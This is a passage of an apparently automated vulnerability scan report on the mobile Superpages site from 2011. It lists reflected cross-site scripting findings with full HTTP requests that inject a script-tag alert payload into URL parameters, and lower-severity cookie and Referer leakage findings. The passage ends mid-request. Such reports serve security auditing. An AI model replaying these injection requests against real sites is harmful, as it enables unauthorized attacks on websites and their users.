GET /mobile/yellow.sp?src=wap&catId=473057&longName=Coffee&62f24"><script>alert(1)</script>d570b3888=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/category.sp?src=wap&popular=urgent
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=68AE8996C12D71E21C7E90B521C14535; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=045488451E7CFCD247F9296B992438DD; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:30:20 GMT
Content-Length: 17298


                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapf
...[SNIP]...
<a class="touchEnable" href="?nav.page=2&src=wap&catId=473057&longName=Coffee&62f24"><script>alert(1)</script>d570b3888=1&searchId=">
...[SNIP]...

1.20. http://m.superpages.com/mobile/yellow.sp [src parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/yellow.sp

Issue detail

The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af199"><script>alert(1)</script>4ebcb19a341 was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mobile/yellow.sp?src=wapaf199"><script>alert(1)</script>4ebcb19a341&va=1&address.city=New+York&address.state=NY&address.zip=10010&address.latitude=40739411&address.longitude=-73984144&output=xml&couponsOnly=true&catId=473057&longName=Coffee HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/yellow.sp?src=wap&catId=473057&longName=Coffee
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=12DDD9F0BF6C7DD354E3C1FE2CCD0254; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=6C3C289D2DB6B50E2B72885C34652798; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:30:05 GMT
Content-Length: 4255


                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapf
...[SNIP]...
<a href="http://m.superpages.com/mobile/yellow.sp?src=wapaf199"><script>alert(1)</script>4ebcb19a341&output=xml&lid=2144786411&userReviewCount=3&clickUrl=http%3A%2F%2Fclicks.superpages.com%2Fct%2FclickThrough%3FSRC%3Dwap%26target%3DSP%26PN%3D1%26PGID%3Dyp206.8081.1301754605491.72731083118%26TS%3Dnbt%
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 6 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://m.superpages.com/mobile/category.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/category.sp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mobile/category.sp?src=wap&popular=restaurants HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=E0A2A7FD35358A32A5D44F6E1DF69717; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=25878BCF2FE6F4991D8118BA81359A40; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:15:44 GMT
Content-Length: 5074


                       <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www
...[SNIP]...

2.2. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/yellow.sp?src=wap&output=xml&lid=0121267046&clickUrl=http%3A%2F%2Fclicks.superpages.com%2Fct%2FclickThrough%3FSRC%3Dwap%26target%3DSP%26PN%3D1%26C%3Dxss%26PGID%3Dyp255.8084.1301753761374.37931820613%26TS%3Dnbt%26subaffiliate%3Dwap%26ACTION%3Dlog%2Cred%26LID%3D0121267046%26TR%3D77%26bidType%3DFLCLIK%26relativePosition%3D2%26position%3D2%26PGSN%3DE0%26RS%3D72%26FL%3Dlist%26TL%3Dprofile%26LOC%3Dhttp%3A%2F%2Fwww.superpages.com%2Fbp%2FUnion-NJ%2FI-N-X-S-Communications-L0121267046.htm%3FSRC%3Dwap%26lbp%3D1%26PGID%3Dyp255.8084.1301753761374.37931820613%26bidType%3DFLCLIK%26TR%3D77&index=3&omniCat=xss&pageNo=null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=F587FE20E62CF6A2F5884A03C8676C51; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:17 GMT
Content-Length: 5685


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/x
...[SNIP]...

2.3. http://m.superpages.com/mobile/smart.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/smart.sp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mobile/smart.sp?src=wap&keyword=xss&fulladdress=10010&x=0&y=0 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/smart.sp?src=wap&keyword=xss&fulladdress=&x=0&y=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C5B4D4D60BA7D5C5CFDCF4344B72F1FC; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=AB7C164CC5961808F7B3FE6358CC4ED5; Path=/mobile
Set-Cookie: location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197; Expires=Sun, 01-Apr-2012 14:16:00 GMT; Path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:01 GMT
Content-Length: 8178


                               <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://
...[SNIP]...

2.4. http://m.superpages.com/mobile/whitepages.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/whitepages.sp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mobile/whitepages.sp?src=wap HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03329827BED1E447E945B08F90913B41; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=034DE21F69FE8D4AD36DB2EDCE03ABC6; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:17:11 GMT
Content-Length: 3016


               <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...

2.5. http://m.superpages.com/mobile/wireless.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/wireless.sp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mobile/wireless.sp HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_ppv=0; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=42C6C604E3C26EDEE5BEA4108E00D36E; Path=/mobile
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:23 GMT
Content-Length: 5726


<!-- Begin mobile comScore Tag -->

<!-- End mobile comScore Tag -->


               <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0
...[SNIP]...

2.6. http://m.superpages.com/mobile/yellow.sp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.superpages.com
Path:   /mobile/yellow.sp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mobile/yellow.sp?src=wap&output=xml&lid=0121267046&clickUrl=http%3A%2F%2Fclicks.superpages.com%2Fct%2FclickThrough%3FSRC%3Dwap%26target%3DSP%26PN%3D1%26C%3Dxss%26PGID%3Dyp255.8084.1301753761374.37931820613%26TS%3Dnbt%26subaffiliate%3Dwap%26ACTION%3Dlog%2Cred%26LID%3D0121267046%26TR%3D77%26bidType%3DFLCLIK%26relativePosition%3D2%26position%3D2%26PGSN%3DE0%26RS%3D72%26FL%3Dlist%26TL%3Dprofile%26LOC%3Dhttp%3A%2F%2Fwww.superpages.com%2Fbp%2FUnion-NJ%2FI-N-X-S-Communications-L0121267046.htm%3FSRC%3Dwap%26lbp%3D1%26PGID%3Dyp255.8084.1301753761374.37931820613%26bidType%3DFLCLIK%26TR%3D77&index=3&omniCat=xss&pageNo=null HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/smart.sp?src=wap&keyword=xss&fulladdress=10010&x=0&y=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AB7C164CC5961808F7B3FE6358CC4ED5; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=8385A22A0E05B72722D8A251958474CA; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:05 GMT
Content-Length: 7309


<head>
   <meta name="title" content="I N X S Communications in [Union, NJ] - Superpages.com Mobile"/>
</head>

   
                   <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAP
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 8 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=BA18A3C71C4ABCB178A53B353EFE9FBE; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:27:21 GMT
Content-Length: 19952


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender11.bay.prod.mappoint.net/render-30/getmap.aspx?key=68134DCB803671A1ABCE&src=wap">Map Route</a>
...[SNIP]...

3.2. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D18DBC9C5C6A6A00603A8E79EEED78AB; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:23 GMT
Content-Length: 19950


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender08.bay.prod.mappoint.net/render-30/getmap.aspx?key=0018009356E82F23AE45&src=wap">Map Route</a>
...[SNIP]...

3.3. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&src=wap&mapWidth=&mapHeight=&endAddress.street=&endAddress.city=New+York&endAddress.state=NY&endAddress.zip=10010&endAddress.longitude=-73984144&endAddress.latitude=40739411&startAddress.street=2520+Us+Highway+22+E&startAddress.city=Union&startAddress.state=NJ&startAddress.zip=07083&startAddress.longitude=-74303440&startAddress.latitude=40688891&x=40&y=8&reverse=1 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=3C55CC74639DC5F4933534CF1A9582AD; SPC=1301753664634-yellowpages.superpages.com-17034623-458025; s_lastvisit=1301753707497; s_vi=[CS]v1|26CB97A3851D3F05-40000143C0059CB1[CE]; __unam=c5114f2-12f16919bea-410345ee-2; mbox=check#true#1301753826|session#1301753703696-691611#1301755626; s_cc=true; s_pv=Address%20Book; s_dfa=superpagescom; s_sq=%5B%5BB%5D%5D; s_ppv=100; location=%2C%2CNew+York%2CNY%2C10010%2C-73984144%2C40739411%2C39525576%2C50450197

Response

HTTP/1.1 200 OK
Server: Unspecified
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=9F7D9D4EA98A3FE8A468394BADF3B750; Path=/mobile
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Sat, 02 Apr 2011 14:16:30 GMT
Content-Length: 23540


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<span style="padding-top:5px;"><a href="http://baymwsrender05.bay.prod.mappoint.net/render-30/getmap.aspx?key=79995DCCB6EF107A7C8F&src=wap">Map Route</a>
...[SNIP]...

3.4. http://m.superpages.com/mobile/drivingdirections.sp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://m.superpages.com
Path:   /mobile/drivingdirections.sp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /mobile/drivingdirections.sp?src=wap&mapWidth=&mapHeight=&startAddress.street=&startAddress.city=New+York&startAddress.state=NY&startAddress.zip=10010&startAddress.longitude=-73984144&startAddress.latitude=40739411&endAddress.street=2520+Us+Highway+22+E&endAddress.city=Union&endAddress.state=NJ&endAddress.zip=07083&endAddress.longitude=-74303440&endAddress.latitude=40688891&x=40&y=8 HTTP/1.1
Host: m.superpages.com
Proxy-Connection: keep-alive
Referer: http://m.superpages.com/mobile/drivingdirections.sp?endAddressText=2520+Us+Hwy+No+22+Union+NJ+07083&action=1&keyword=end&src=wap
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
